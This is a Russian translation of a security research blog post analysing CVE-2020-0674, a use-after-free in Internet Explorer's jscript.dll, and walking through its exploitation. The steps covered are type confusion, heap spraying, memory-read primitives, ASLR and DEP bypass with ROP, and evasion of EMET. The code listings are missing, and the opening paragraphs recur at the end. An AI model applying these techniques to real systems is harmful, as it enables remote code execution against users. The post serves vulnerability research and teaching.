Internet Explorer является основной частью операционной системы Microsoft Windows с 1995 года. Хотя дальнейшая разработка официально прекратилась в пользу браузера Edge, Microsoft продолжает выпускать исправления из-за его постоянного использования. Согласно текущей статистике, примерно 4% Интернета все еще использует Internet Explorer, таким образом, у него по-прежнему больше пользователей, чем у браузеров, таких как Opera. Тем не менее, несмотря на постоянную популярность этого браузера, очень мало современных ресурсов, которые углубляются в него.
Это сообщение в блоге призвано предоставить столь необходимое понимание того, как один из основных компонентов Internet Explorer работает внутри, путем изучения того, как в нем могут возникнуть уязвимости, такие как использование памяти после освобождения (Use-After-Free).
Для тех, кто желает увидеть финальную версию эксплоита, его можно найти здесь (https://github.com/maxpl0it/CVE-2020-0674-Exploit).
Описание уязвимости
В этом посте основное внимание будет уделено CVE-2020-0674. Он был обнаружен Qihoo 360, который обнаружил, что он используется в дикой природе. Сама уязвимость находится в устаревшем модуле ядра "JavaScript" (очевидно, JScript! == JavaScript) jscript.dll.
Описание этой ошибки состоит в том, что при выполнении функции обратного вызова в функции сортировки объекта Array вызывается уязвимость использования памяти после освобождения (Use-After-Free). Аргументы этой функции не отслеживаются сборщиком мусора (GC), поэтому их можно использовать для вызова уязвимости использования памяти после освобождения.
Для этой ошибки можно написать базовый триггер проверки концепции (PoC), как показано ниже:
Когда этот код выполняется с помощью программы wscript, трассировка стека ниже показывает сбой, подтверждая, что сбой произошел во время метода IsAStringObj.
Хотя это устаревший движок, Internet Explorer 11 можно заставить загружать эту dll вместо текущей, принудительно переключив браузер в режим совместимости с Internet Explorer 8.
Это можно сделать, используя атрибут языка сценариев, не поддерживаемый JScript 9, например языки кодирования или компактные языки.
Видео, показывающее, что эта уязвимость может быть активирована в Internet Explorer 11, можно увидеть ниже:
Хотя тривиально создать триггер для ошибки, используя только описание, не понимая, в чем заключается основная причина, упускается значительный объем знаний, и это также может привести к потенциально отсутствию неоткрытых ошибок, которые похожи по своей природе.
Интерпретатор Jscript
Прежде чем углубиться в уязвимость, необходимо изучить сам движок Jscript. Вы не сможете найти основную причину уязвимости, если не понимаете код, в котором она находится.
JScript - это интерпретируемый язык, что означает, что в процессе выполнения кода задействован ряд компонентов:
Важно отметить, что хотя сканирование и синтаксический анализ могут показаться отдельными шагами, на самом деле они чередуются друг с другом. Это сделано для того, чтобы избежать потери вычислительной мощности при обнаружении ошибки. Чтобы объяснить это, рассмотрим следующий сценарий:
Первая строка вызовет ошибку, потому что, хотя 23 + является лексически правильным, он не является синтаксически правильным. Однако, если бы сканирование не зависело от синтаксического анализа, оставшаяся часть кода была бы просканирована и немедленно отброшена из-за ошибки, таким образом тратя ресурсы на избыточные задачи.
После выполнения этих двух шагов происходит выполнение P-кода. P-Code - это серия промежуточных языков, написанных Microsoft и используемых при реализации таких языков, как Microsoft Visual Basic. JScript использует язык P-Code для выполнения кода с использованием простых кодов операций на стековой машине. Ядро этой функциональности находится в функции CScriptRuntime::Run, которая использует таблицу переходов, чтобы решить, какую базовую операцию выполнить с использованием опкода.
Приведенный ниже пример призван дать представление о том, как код JavaScript преобразуется в P-код:
Это приведет к следующему P-коду (исключая вызовы сборщика мусора):
После выполнения инструкций в пунктах 1-5 стек переменных выглядит следующим образом:
Переменные и объекты в jscript.dll
Требуется понимание того, как различные элементы размещаются в памяти, поскольку уязвимость связана с тем, как движок обрабатывает отслеживание переменных. Эта информация чрезвычайно важна для определения основной причины этой уязвимости.
В JScript переменные представлены в следующей структуре VAR:
По сути, это то же самое, что и структура VARIANT. Ряд значений типов можно найти на веб-сайте Microsoft Docs.
Стековая машина, описанная в разделе интерпретатора, работает со стеком, который содержит значения, хранящиеся в виде структур VAR.
Что касается объектов, JScript разделяет их на две категории: нативные и ненативные. Ненативные объекты создаются веб-разработчиками на JavaScript. Примером этого может быть:
С другой стороны, нативные объекты (также известные как встроенные) - это те, для которых функциональность запрограммирована в самом движке. Примеры этого: Date, RegExp и Array. Все эти классы наследуются от класса NameTbl, который определяет поведение объекта по умолчанию. Ниже вы можете увидеть, как объект Array переопределяет некоторые унаследованные функции:
Строки, которые были проанализированы механизмом (например, имена переменных в коде JavaScript, которые необходимо найти механизму), хранятся в структуре, называемой символом. Он представлен с использованием структуры SYM следующим образом:
Хотя SYM используются для поиска, сами имена и значения свойств фактически хранятся в отдельной структуре. Вот как имя переменной связано с конкретным объектом или значением:
Сборка мусора в jscript.dll
Поскольку CVE-2020-0674 представляет собой проблему со сборкой мусора, важно понимать, как унаследованный сборщик мусора JScript работает внутри.
Функции GC в движке используются для выполнения ряда шагов:
В jscript.dll сборщик мусора использует серию двусвязных блоков. Каждый блок содержит место для хранения 100 структур VAR. Блоки имеют форму структуры, называемой GcBlock:
Когда весь блок освобожден (либо в функции GcBlockFactory::FreeBlk, либо в функции GcAlloc::ReclaimGarbage), он добавляется в список свободных блоков, готовых к использованию при выделении следующего блока. Однако, если 50 блоков уже находятся в свободном списке, тогда блок не добавляется в список, а вместо этого освобождается.
Чтобы освободить блок, сначала нужно освободить все VAR, которые он содержит. VAR помечается для сбора, устанавливая 12-й бит типа. Если функция очистки объявляет, что эта переменная все еще используется, бит устанавливается в 0.
Основная логика для всего этого заключается в функции GcContext::CollectCore, которая маркирует переменные (GcContext::SetMark), вызывает функции мусорщика, а затем восстанавливает их (GcContext::Reclaim).
Функции мусорщика - это либо корневые мусорщики, такие как ScavVarList::ScavengeRoots, либо сборщики объектов, которые выполняют функцию NameTbl::ScavengeCore (или функцию, которую объект переопределил, например RegExpObj::ScavengeCore), которые запускаются для каждого объекта, который в настоящее время существует.
Процесс сборки мусора запускается после ряда эвристических действий, но может быть вызван вручную в коде с помощью функции JavaScript CollectGarbage(), как это сделано в POC. Это может быть использовано разработчиком эксплоита для выполнения и управления кучей для структурирования фрагментов определенным образом, чтобы упростить эксплуатацию уязвимостей.
Анализ
Теперь перейдем к анализу основной причины рассматриваемой уязвимости. Для начала можно использовать дифференциальную отладку. Это метод, с помощью которого индивидуум отслеживает две трассировка и сравнивает полученные пути. При этом можно определить различия в исполнении и, следовательно, изменения, которые были внесены в код, что делает его особенно актуальным для реверс инжиниринга.
Просматривая следы функций во время затронутого кода, исправление становится значительно более четким. При базовом понимании приведенного выше JScript GC очевидно, что в исходном триггере переменные firstE1 и secondE1 не связаны при создании. Дифференциальная отладка может использоваться перед вызовом сортировки и сразу после начала выполнения обратного вызова.
Минимизированный тестовый пример для этого показан ниже:
WScript.Echo используется здесь как функция блокировки, которая предоставляет всплывающее окно (аналогично обычной функции предупреждения JavaScript) на любом конце интересующей функции. При попадании в первый вызов Echo запускается трассировка функции. Затем она останавливается при втором вызове Echo.
Этот PoC был протестирован на обновлениях KB4534251 (до патча) и KB4537767 (после патча), и результаты сравнивались.
Был внесен ряд изменений в функции, которые, вероятно, были связаны с рефакторингом командой разработчиков, таких как удаление функции VAR::VAR и изменение функции CallWithFrameOnStack, обрабатывающей логику вызова основной функции, на то, чтобы быть оболочкой для новой функция под названием PerformCall (возможно, чтобы немного усложнить сравнение патчей из-за несовпадения имен функций или из-за того, что имя функции больше не соответствует самому коду).
После сокращения количества вызовов функций, которые остаются прежними, очевидное различие состоит в том, что новый объект с именем ScavVarList был создан до вызова CscriptRuntime::Run. Во время инициализации объекта также вызывается IScavengerBase::LinkToGc, который указывает, что это добавление может быть ключом к патчу.
Как следует из названия, ScavVarList - это объект-мусорщик, который снимает отметку с объектов во время сборки мусора и, следовательно, соответствует описанию уязвимости.
Чтобы сделать это более понятным, можно использовать сравнение патчей, чтобы определить, где этот объект создается в PerformCall и что делается до вызова функции в CallWithFrameOnStack.
Обе функции явно довольно сильно различаются, однако в обеих остается ряд основных блоков. Выделив важные строки этого кода до и во время фактического вызова CScriptRuntime::Run, становится ясно, что основным отличием в настройке вызова является введение объекта ScavVarList:
Проверка
Хотя на данный момент основная причина может показаться ясной, между уязвимой версией и исправленной версией был проведен значительный рефакторинг, поэтому проверка является довольно важной. При прерывании вызова IScavengerBase::LinkToGc и пропуске исходная ошибка запускается с тем же сбоем, что подтверждает теорию.
Эксплуатация - путаница типов
Ошибки использования после освобождения интересны, но для их использования необходимо проделать гораздо больше работы. В разделе эксплуатации обсуждаются некоторые концепции для x64-версии jscript. Первым шагом является преобразование этой ошибки в путаницу типов путем перераспределения освобожденной области, на которую указывает неотслеживаемая переменная, и создания фальшивого объекта. Путаница типов позволяет выполнять гораздо более широкий спектр атак, создавая примитивы эксплоитов.
Чтобы вызвать путаницу типов, давайте рассмотрим исходный макет памяти после ввода обратного вызова сортировки и установки untracked_1:
Переменная untracked_1 указывает на объект в массиве. В памяти этот объект находится в структуре GcBlock, как упоминалось в разделе GC. Обратите внимание, что до объекта, на который указывает неотслеживаемая переменная, есть еще 50 GcBlocks (что соответствует 500 сохраненным переменным). Это фундаментально для эксплуатации UAF, поскольку первые 50 GcBlocks не будут освобождены, а вместо этого будут добавлены в список свободных блоков.
После вызова функции CollectGarbage структура памяти будет выглядеть следующим образом:
Переменная untracked_1 теперь указывает на освобожденную память. Задача здесь - разместить контролируемые данные по этому разделу. Для распределения по этим свободным фрагментам размер данных должен соответствовать (или почти совпадать) с размером свободного фрагмента. Этот размер блока можно вычислить, посмотрев на структуру GcBlock:
В результате получается блок размером 0x970 байт.
Не отслеживаемая переменная может указывать на любое место в массиве VAR этого блока, поэтому очевидным решением будет распыление целевых данных по всему фрагменту (по сути, создание поддельного GcBlock). Также неизвестно, на какой блок будет указывать переменная, поэтому необходимо будет освободить большое количество GcBlocks, чтобы поддельный спрей GcBlock можно было повторить несколько раз.
Поддельная структура VAR может быть сгенерирована с помощью вспомогательной функции makeVariant, описанной в анализе CVE-2018-8653, проведенном McАfee. Ниже представлена аннотированная форма этой функции:
Эта функция генерирует строку из 24 байтов (размер структуры VAR), которая выглядит как VAR в памяти.
Один из способов вызвать выделение заданного размера - использовать свойства JavaScript, чтобы вызвать выделение. В JScript NameList используется для связывания информации, такой как имена свойств, и когда создается новое свойство, он выделяет пространство для хранения структуры VVAL, описанной ранее. Однако размер нашей строки не может быть точно таким, какой требуется, поскольку необходимо учитывать заголовки структуры, преобразования размера символов и любые данные, которые необходимо сохранить в структуре VVAL.
Функция NameList::FCreateVval использует функцию NoRelAlloc::PvAlloc для распределения данных. Размер, который FCreateVval передает PvAlloc, составляет:
Затем PvAlloc использует это значение во втором уравнении, которое используется в качестве параметра для распределения malloc:
Таким образом, имя свойства длиной 0x239 приводит к выделению ровно 0x970 байт. Когда этот фрагмент выделяется, имя свойства UTF-16 копируется, начиная со смещения 0x48. Это означает, что требуется заполнение, чтобы выровнять поддельные переменные с переменными GcBlock. Количество отступов рассчитывается следующим образом:
При повторении этого в конечном итоге произойдет перекрытие между местоположением, на которое указывает неотслеживаемая переменная, и строкой имени свойства. Таким образом, макет в памяти будет следующим:
Это перекрытие позволит рассматривать поддельный VAR как настоящий VAR. POC путаницы типов можно увидеть ниже:
После того, как это будет выполнено, появится всплывающее окно, показывающее число 1234, что свидетельствует о путанице типа от строки имени к целочисленной VAR.
Однако у этой методологии есть очевидная проблема. В настоящее время вероятность успеха все еще довольно низка, так как есть только один неотслеживаемый указатель. Потребуется несколько неотслеживаемых переменных, чтобы увеличить вероятность перекрытия. Ivan Fratric в своем частичном эксплойте для CVE-2018-8353 (в котором свойство lastIndex объекта RegExp не отслеживалось) создал несколько объектов RegExp и использовал lastIndex каждого из них, чтобы указать на другое смещение в целевом массиве. Это означало, что после освобождения объектов в массиве каждый из этих объектов RegExp будет указывать на область, которая могла перекрываться:
Однако запуск функции сортировки несколько раз подряд не является вариантом, поскольку сборщик мусора должен происходить внутри него, а полезными остаются только две неотслеживаемые переменные. Сравнимый метод для этого - использовать рекурсию. Функция сортировки вызовет sort для массива с собой в качестве обратного вызова. Каждая глубина этой рекурсии добавляет еще две неотслеживаемые переменные. В результате функция сортировки становится такой:
Эксплуатация — Infoleak
Причина использования свойств объекта для эксплоита двоякая. Помимо поддержки выделения определенного размера, он может использоваться для утечки адресов множеством различных способов, таким образом обходя ASLR.
Первое стало возможным благодаря тому факту, что строка свойств объекта хранится в первой половине выделенной области, возможно утечка указателей, которые остались от предыдущей структуры GcBlock, поскольку блоки кучи не обнуляются при освобождении или выделении для производительности причины. Это означает, что можно создать поддельный VAR и предоставить только значение типа. Рассмотрим освобожденный блок, содержащий следующие переменные:
Добавив один символ в конец спрея VAR, можно изменить тип последней переменной:
Поскольку тип был изменен с 0x81 на 0x5, obj_ptr принимает другое значение. В этом случае 0x5 - это значение типа для 64-битного числа с плавающей запятой, а значение obj_ptr обрабатывается как значение с плавающей запятой, а не как указатель, который может быть прочитан для утечки указателя объекта. Таким образом, поддельный код генерации GcBlock может быть изменен на следующий:
Второй метод оказался гораздо более полезным и включает утечку указателя на следующее свойство из структуры VVAL. Он включает в себя манипулирование значением хеш-функции в структуре, чтобы оно действовало как тип VAR. Посмотрев на хеш-функцию, становится ясно, что одно-символьное имя может использоваться для того, чтобы значение хеш-функции было конкретным результатом:
Если неотслеживаемая переменная указывала на значение хеш-функции в структуре VVAL (путем тщательного дополнения имен свойств, чтобы это произошло), хеш-код будет рассматриваться как тип этой VAR, а следующий указатель свойства будет рассматриваться как указатель объекта. Тогда возникает вопрос, как можно использовать односимвольное имя для создания строки, достаточно большой, чтобы вызвать перераспределение освобожденного GcBlock. Это может быть решено, если понять, почему PvAlloc работает именно так; Причина того, что выделение имени свойства из 0x239 символов расширяется во время вычисления выделения до 0x970 байт, заключается в том, что PvAlloc выделяется не для одного VVAL, а также для любых других связанных структур VVAL, которые могут поместиться в этой области, например, других имен свойств для конкретного объекта. Поэтому выделение однобайтового имени свойства "\u0005" после создания этого 0x239-символьного имени свойства приведет к тому, что PvAlloc вернет указатель внутри 0x970-байтового блока сразу после предыдущего имени свойства, поскольку исходный VVAL занял только 0x4fa байтов ( VVAL struct + name string), оставляя 0x476 байт свободного места в выделенной области.
Чтобы пропустить указатель на следующее свойство, необходимо создать третье свойство, чтобы заполнить указатель следующего свойства, манипулирующего хешем.
Это можно записать на JavaScript как следующую функцию сортировки:
Это приводит к следующему VVAL в памяти, в котором хэш и name_len вместе составляют 0x200000005, что делает тип VAR равным 0x0005:
Эксплуатация — примитив произвольного чтения
Один из наиболее полезных в эксплуатации примитивов - это примитив произвольного чтения. В сочетании с утечкой информации это может оказаться невероятно полезным, позволяя злоумышленнику постоянно перемещаться по указателям в объектах, чтобы определить адрес целевого пункта назначения. В JScript есть несколько способов создать произвольный примитив чтения.
Один тривиальный способ заключается в создании фальшивого строкового объекта, в котором указатель на объект VAR является местом для чтения. Строковый метод charCodeAt может использоваться для чтения значения WORD по этому адресу. Предостережение этого метода заключается в том, что если DWORD перед адресом равен нулю, то с адреса нельзя прочитать байты. Это связано с тем, что строковый объект является BSTR, в результате чего DWORD перед началом строки действует как размер строки. Эту проблему можно обойти, используя вместо этого свойство length для чтения нескольких байтов. Также следует учитывать сдвиг вправо, поскольку фактическое значение длины (длина BSTR) делится на два, поскольку BSTR считает символы байтами, тогда как JavaScript считает символы в UTF-16. Следовательно, произвольный байт можно прочитать, установив указатель строки на два байта вперед, сдвинув значение длины вправо еще на 7 бит и выполнив операцию И над значением с 0xFF, чтобы прочитать значение символа.
После запуска первоначального эксплоита для создания ряда указателей на строковые объекты уязвимая функция не нуждается в повторном запуске. Поскольку неотслеживаемые переменные были сохранены в массиве, их указатели на объекты по-прежнему указывают на исходные адреса GcBlock, поэтому все, что нужно сделать, это удалить существующие значения свойств, собрать мусор, чтобы стереть их, и заменить их, распыляя новые. Стабильность этого метода может быть улучшена путем распыления идентификационных номеров во время эксплоита, чтобы найти точный объект, который необходимо освободить, чтобы перераспределить по выбранной неотслеживаемой переменной. Например:
Как только это будет выполнено, целевой объект можно легко освободить и перераспределить, создав следующую функцию JavaScript:
После того, как местоположение можно надежно переписать, следующим шагом будет создание VAR, указывающего на строку имени последнего свойства. Поскольку это имя можно изменить с помощью функции перезаписи, его можно использовать для создания поддельного VAR, например:
С помощью этого поддельного объекта функцию перезаписи можно использовать для создания примитива чтения, изменив указатель строки поддельного объекта на целевой адрес:
Существует альтернативный примитив для чтения до 0xffffffff байтов со смещения. Для 32-разрядного браузера это позволяет ссылаться на все адресное пространство после переменной. Однако 64-битный означает, что это полезно только для чтения небольшой области памяти. Он включает в себя построение строки, например:
Создавая большое количество переменных с этой строкой, GcBlock будет обработан указателем строки. Затем первый метод утечки информации, описанный выше, можно использовать для утечки адреса строки. Как только этот адрес получен, можно использовать метод смешения типов для создания новой строковой VAR, в которой указатель объекта находится на 4 байта впереди местоположения строки. Это приведет к тому, что 0xffffffff будет рассматриваться как длина BSTR, что позволит использовать функцию charCodeAt для чтения значения произвольных адресов памяти.
Можно использовать третий вариант, при котором несколько переменных почти полностью перекрываются. Этот вариант намного стабильнее, но имеет ограничения. Рассмотрим следующий VAR:
Тип VAR равен 5, поэтому указатель объекта обрабатывается как значение с плавающей запятой. Теперь рассмотрим вторую переменную, которая указывает на переменную за 2 байта до начала этой переменной:
Эти два VAR почти полностью перекрываются. Распыляя неинициализированную память перед созданием этих переменных, можно было бы перезаписать два байта памяти вне пределов памяти и таким образом, изменить тип перекрывающейся переменной:
Если эта вторая переменная сделана строкой, как показано выше, то указатель объекта может использоваться для произвольного чтения. Переменную с плавающей запятой можно использовать для изменения 48 старших битов строкового указателя на переменную, однако последние 16 бит не могут быть изменены.
Для этого эксплоита будет использоваться первый вариант.
Эксплуатация — Адрес примитива
В процессе эксплуатации необходимо будет найти адреса ряда переменных, например, при утечке файла JScript или при получении адреса строк. На этом этапе произошла утечка указателя VVAL, и был идентифицирован точный объект, который необходимо освободить и перераспределить, образуя примитив чтения.
Примитив address-of становится тривиальным для реализации с использованием функций, рассмотренных в предыдущем разделе:
Приведенный выше код предполагает, что объект будет расположен в пределах 32-битного диапазона, как это было доказано во время тестирования. Он работает, устанавливая VAR в начале места утечки VVAL в качестве целевого объекта и заменяя произвольную строку чтения, чтобы указать на указатель объекта этой VAR. После того, как это значение было прочитано, оно повторяется со вторым VAR, и указатель объекта извлекается следующим образом:
Эксплуатация - Обработка ASLR и модулей
Поскольку нет способа узнать, какие версии DLL используются в целевой системе и, следовательно, каковы смещения для требуемых функций, идентификация базы этих модулей должна выполняться программно с использованием инфо-утечки и примитива чтения, обсужденных в предыдущем разделе. Базовый обзор этого выглядит следующим образом:
Шаг первый довольно прост. Начиная с утечки указателя jscript.dll, все, что нужно сделать, это:
Реализовать шаги 2–5 в JavaScript можно следующим образом:
После обнаружения базы следующим шагом будет поиск адреса целевой DLL, в которой мы хотим использовать функцию. В основе jscript.dll лежит структура IMAGE_DOS_HEADER.
После этого заголовка следует код заглушки DOS, обычно используемый для отображения того, что исполняемый файл не может быть запущен в DOS. Член e_lfanew содержит смещение от основания модуля до структуры IMAGE_NT_HEADERS. Эта структура содержит оболочку вокруг второй структуры с именем IMAGE_OPTIONAL_HEADER, которая содержит дополнительную информацию о PE-файле.
Важной частью здесь является член DataDirectory. Этот массив содержит ряд структур IMAGE_DATA_DIRECTORY, которые задают смещения для различных каталогов данных, таких как каталоги экспорта и импорта. Смещения каждого из этих каталогов статичны от начала IMAGE_OPTIONAL_HEADER, с каталогом экспорта со смещением 0x70 и каталогом импорта со смещением 0x78.
Каталог импорта содержит повторяющуюся структуру, которая используется для каждого импортированного модуля. Структура содержит два важных члена: ModuleName и ImportAddressTable (IAT). ModuleName указывает на строку, содержащую имя модуля (например, "msvcrt.dll"), а ImportAddressTable указывает на массив импортированных указателей на функции. Выбрав первую функцию в IAT, можно повторить шаги, описанные ранее для jscript.dll, для определения базы целевого модуля.
Следующая функция показывает, как это можно сделать в эксплоите:
После того, как база целевого модуля найдена, необходимо определить целевую функцию. Это делается путем анализа каталога экспорта в целевом модуле. Каталог экспорта использует одну структуру, содержащую три важных элемента: AddressOfFunctions, AddressOfNames и AddressOfNameOrdinals. Используя их, можно найти желаемую целевую функцию. AddressOfNames - это массив указателей на строки имен функций. Как только желаемая функция найдена путем итерации по массиву, индекс этого имени используется в качестве индекса для массива AddressOfNameOrdinals. Этот массив содержит серию чисел, которые действуют как индексы для массива AddressOfFunctions, который содержит указатели на функции.
Поскольку существует много похожих имен для функций (например, _stricmp и _stricmp_l), следующая функция JavaScript немного больше, чтобы обеспечить проверку до 16 байтов. Также полезно отметить, что следующая функция не выполняет линейный поиск в списке экспорта, а вместо этого оптимизирована для использования двоичного поиска, что позволяет сэкономить значительное количество времени:1
Эксплуатация - выполнение кода (обработка DEP с использованием ret2lib)
На данный момент целевые функции найдены, но по-прежнему требуется триггер для изменения потока выполнения и их вызова.
Самый простой способ сделать это - создать поддельный vftable в поддельном объекте и запустить одну из функций. Хорошей целью для вызова vftable функции является использование оператора typeof. Если тип JScript для VAR, указывающего на объект, равен 0x81, тогда код вызовет указатель функции на vftable + 0x138, чтобы определить, какую строку типа использовать:
Однако здесь возникает проблема: можно указать только один адрес. Поскольку атака не в стеке, цепочка ROP не может быть просто написана и выполнена. Решение этой проблемы состоит в том, чтобы переместить указатель стека в другую область памяти, которая находится под контролем, например, такой как утечку строки. Это метод, известный как разворот стека. Чтобы найти идеальный гаджет для этого эксплоита, необходимо выполнить ряд условий:
Регистр rax во время вызова vftable содержит адрес vftable. Следовательно, гаджет xchg eax, esp; retn был выбран для разворота стека. Причина, по которой 32-битные регистры в инструкции приемлемы для эксплоита, заключается в том, что расположение кучи, хотя и рандомизировано, обычно имеет довольно низкий адрес. Инструкция xchg также обнуляет неиспользуемые биты регистров (старшие 32 бита rax и rsp), что делает это идеальным для 64-битного поворота.
Байты, составляющие этот гаджет, существуют в инструкции setz bl в библиотеке msvcrt.dll, которая устанавливает младший байт rbx равным 0. Позже это используется как возвращаемое значение (определяющее успех или нет) функции. Поскольку это вряд ли что-то изменит, оно соответствует критериям, перечисленным выше.
Что касается того, как инструкции могут быть разбиты на другие инструкции, это становится понятнее, если изучить связанные с ними байты:
Чтобы найти байты 94 C3 динамически без статических смещений, необходимо пройти по каталогу импорта, чтобы найти адрес системной функции. Этот адрес используется в качестве основы для поиска, считывая СЛОВО за раз, пока не будут найдены требуемые байты:
Поскольку вызов системной функции уже найден для целей разворота, его также можно использовать для извлечения calc без необходимости выполнять вызов VirtualProtect для использования шелл-кода. Однако оказывается, что системная функция не выполняется, если TabProcGrowth не установлен, вероятно, из-за того, как работает стандартный защищенный режим (реализованный с IE8), что делает его менее полезным в эксплоите. Лучшая функция выполнения команд - WinExec в kernel32. Это означает, что требуются еще два гаджета, чтобы поместить первый аргумент (указатель командной строки) в регистр rcx, а второй аргумент (параметр отображения) - в регистр rdx.
В качестве первого аргумента рекомендуется использовать функцию _hypot в msvcrt.dll. Эта функция работает с регистрами xmm для выполнения операций со значениями с плавающей запятой двойной точности. В этой функции появляется один гаджет: mulsd xmm0, xmm3; ret, который выполняет операцию скалярного умножения над двумя регистрами. Байты, составляющие эту инструкцию, - это F2 0F 59 C3. К счастью, байты 59 C3 - это байты для инструкций pop rcx; retn.
Гаджет второго аргумента можно найти в одноименной функции msvcrt.dll _hypotf в инструкции cvtps2pd xmm0, xmm3, которая состоит из байтов 0F 5A C3. Это можно использовать для создания гаджета pop rdx со вторыми двумя байтами (5A C3).
Создание ROP-цепочки требует некоторой предусмотрительности. Поскольку функция WinExec вызывает другие функции, перед цепочкой требуются дополнительные байты заполнения, чтобы обеспечить достаточно места для их кадров стека:
После выполнения появляется calc. Важно отметить, что IE выйдет из строя после запуска WinExec, поскольку в этом эксплоите не было реализовано продолжение процесса:
Эксплуатация - выполнение шеллкода (обработка DEP с помощью VirtualProtect)
Выполнение шелл-кода было золотым стандартом для разработки эксплоитов с незапамятных времен, однако средства защиты, такие как DEP, не позволяли выполнять шелл-код так же просто, как один прыжок. DEP отмечает области памяти, такие как стек и куча, как доступные только для чтения и записи. Поскольку нет разрешения на выполнение, шелл-код, помещенный в эти сегменты, не может быть выполнен. Один из способов обойти это в Windows - использовать функцию VirtualProtect, которая изменяет права доступа к странице памяти. Чтобы предоставить все 4 аргумента функции, значения должны быть помещены в регистры rcx, rdx, r8 и r9. Поиск гаджетов для всех этих регистров, соответствующих условиям, упомянутым в предыдущем разделе, оказывается особенно трудным, однако есть решение для использования отдельных гаджетов: NtContinue. Это недокументированная функция в ntdll.dll, которая выполняет системный вызов для заполнения регистров заданными значениями из структуры CONTEXT, что означает, что все четыре требуемых регистра могут быть заполнены за один вызов.
В случае VirtualProtect в структуре CONTEXT необходимо установить следующие значения:
Для этого в JavaScript можно создать следующую фальшивую структуру CONTEXT:
Таким образом, цепочка ROP после разворота стека:
Эксплуатация - Обход EMET
Рабочий эксплоит - это замечательно, но можно рассмотреть не только встроенные средства защиты от эксплоитов. Хотя указанные выше методы эксплоитов будут работать в стандартной системе, они не будут работать в системах с дополнительными функциями безопасности. В этом разделе будет кратко обсуждаться Enhanced Mitigation Experience Toolkit (EMET). EMET - это система защиты от эксплоитов, которая внедряется в процессы для выявления и предотвращения подозрительного поведения. Есть несколько включенных методов обнаружения, которые необходимо учитывать для этого эксплоита:
Ряд дополнительных правил, таких как проверки вызывающего абонента и симулированные потоки выполнения, значительно усложнили бы использование этой уязвимости, однако они включены только для 32-разрядных программ.
Хотя срок действия этого программного обеспечения истек в 2018 году, его замена (Exploit Guard в Защитнике Windows) совместима только с Windows 10. Это означает, что EMET будет единственным официальным набором средств защиты от эксплоитов, работающим в целевых системах Windows 7.
Поскольку уже было проведено множество блестящих исследований по полному отключению EMET, в этом разделе мы сосредоточимся на индивидуальном обходе перечисленных выше методов обнаружения, влияющих на эксплоит.
Разворот в стеке
Чтобы выполнить цепочку ROP, необходимо переместить указатель стека в кучу, чтобы он действовал как новый кадр стека. Этот метод разворота стека был довольно критичным для упомянутых выше эксплоитов. Однако при этом запускается правило обнаружения разворота стека в EMET, что приводит к немедленному завершению работы программы. EMET проверяет разворот стека при выполнении критической функции. В случае этого эксплоита WinExec помечается как критическая функция.
Чтобы обойти эту защиту, нужно было сделать два шага:
Утечка указателя стека была рассмотрена в сообщении блога Google Project Zero в разделе обхода CFG и работает с использованием произвольного примитива чтения для любого объекта JavaScript для утечки указателя объекта CSession, поскольку он содержит указатель на сам стек.
В JavaScript это реализовано следующим образом:
Затем этот указатель будет использоваться в фальшивой структуре CONTEXT в регистре rsp, чтобы избежать обнаружения разворота стека. После этого регистр копирования будет содержать целевое местоположение (в случае этого эксплойта - WinExec).
На этом этапе может возникнуть некоторая путаница в том, как указатель CONTEXT загружается в регистр первого аргумента rcx без использования гаджета pop rcx. Ответ прост: регистр rcx во время вызова функции в vftable содержит сам фальшивый объект, и поскольку единственная часть этого фальшивого объекта, которую нужно установить, - это первые 8 байтов (указатель vftable), остальная часть объекта может действовать как структура CONTEXT, как показано ниже:
Как показано, единственный регистр, которым нельзя управлять, - это P1Home, который перекрывает указатель vftable. Когда эксплоит запускается, стек остается в пределах допустимой области стека, все регистры контролируются, а WinExec выполняется без необходимости разворота.
Фильтрация адресов экспорта (EAF и EAF +)
В процессе эксплуатации необходимо найти адреса различных функций (WinExec, NtContext). Для этого анализируется список экспорта модуля. Фильтрация адресов экспорта добавляет аппаратные точки останова в таблицу адресов экспорта (EAT) важных модулей (например, kernel32 и ntdll) с использованием регистров отладки. Когда EAT читается, эта точка останова запускается, и EMET определяет, действителен ли этот доступ или нет. EAF определяет, исходит ли этот доступ из шелл-кода, и в этом случае завершает программу. Логика заключается в том, что большая часть шелл-кода будет проходить через EAT этих модулей, чтобы найти функции, которые можно использовать. К счастью, произвольный примитив чтения означает, что для чтения таблицы адресов экспорта не нужно полагаться на шеллкод, а это означает, что обнаружение EAF не будет инициировано эксплоитом.
EAF+, однако, - это совсем другая история. Среди прочего, это определяет, обращаются ли определенные модули (такие как jscript.dll или vbscript.dll) к таблицам экспорта и импорта важных модулей. Один из способов обойти это - использовать импорт самого jscript, который включает GetModuleHandleA и GetProcAddress. Этого достаточно, чтобы получить адрес любой функции из любого импортированного модуля. Однако реализация EMET 5.52 (последний выпуск EMET) не запускала EAF+ при запуске эксплоита без разворота стека, а версия 5.5 это сделала. Поскольку большинство системных администраторов, которые заботятся о защите от эксплоитов, почти наверняка будут использовать 5.52, можно с уверенностью предположить, что EAF+ не является серьезной проблемой.
В EMET 5.52 для запуска эксплоита достаточно просто обойти обнаружение разворота стека:
Вывод
Несмотря на свой возраст, Internet Explorer жив и здоров. Хотя многих может оттолкнуть идея исследования именно этого браузера из-за более низкой пользовательской базы по сравнению с современными браузерами, такими как Edge, тот факт, что уязвимости все еще обнаруживаются сегодня и что он продолжает быть целью злоумышленников, свидетельствует о том, что больше взглядов должно быть на нем. Этот пост заложил основу для исследования JScript, чтобы следующий раунд исследователей мог быстро разобраться с целью и начать поиск и использование собственных уязвимостей.
Источник: https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
Это сообщение в блоге призвано предоставить столь необходимое понимание того, как один из основных компонентов Internet Explorer работает внутри, путем изучения того, как в нем могут возникнуть уязвимости, такие как использование памяти после освобождения (Use-After-Free).
Для тех, кто желает увидеть финальную версию эксплоита, его можно найти здесь (https://github.com/maxpl0it/CVE-2020-0674-Exploit).
Описание уязвимости
В этом посте основное внимание будет уделено CVE-2020-0674. Он был обнаружен Qihoo 360, который обнаружил, что он используется в дикой природе. Сама уязвимость находится в устаревшем модуле ядра "JavaScript" (очевидно, JScript! == JavaScript) jscript.dll.
Описание этой ошибки состоит в том, что при выполнении функции обратного вызова в функции сортировки объекта Array вызывается уязвимость использования памяти после освобождения (Use-After-Free). Аргументы этой функции не отслеживаются сборщиком мусора (GC), поэтому их можно использовать для вызова уязвимости использования памяти после освобождения.
Для этой ошибки можно написать базовый триггер проверки концепции (PoC), как показано ниже:
JavaScript:
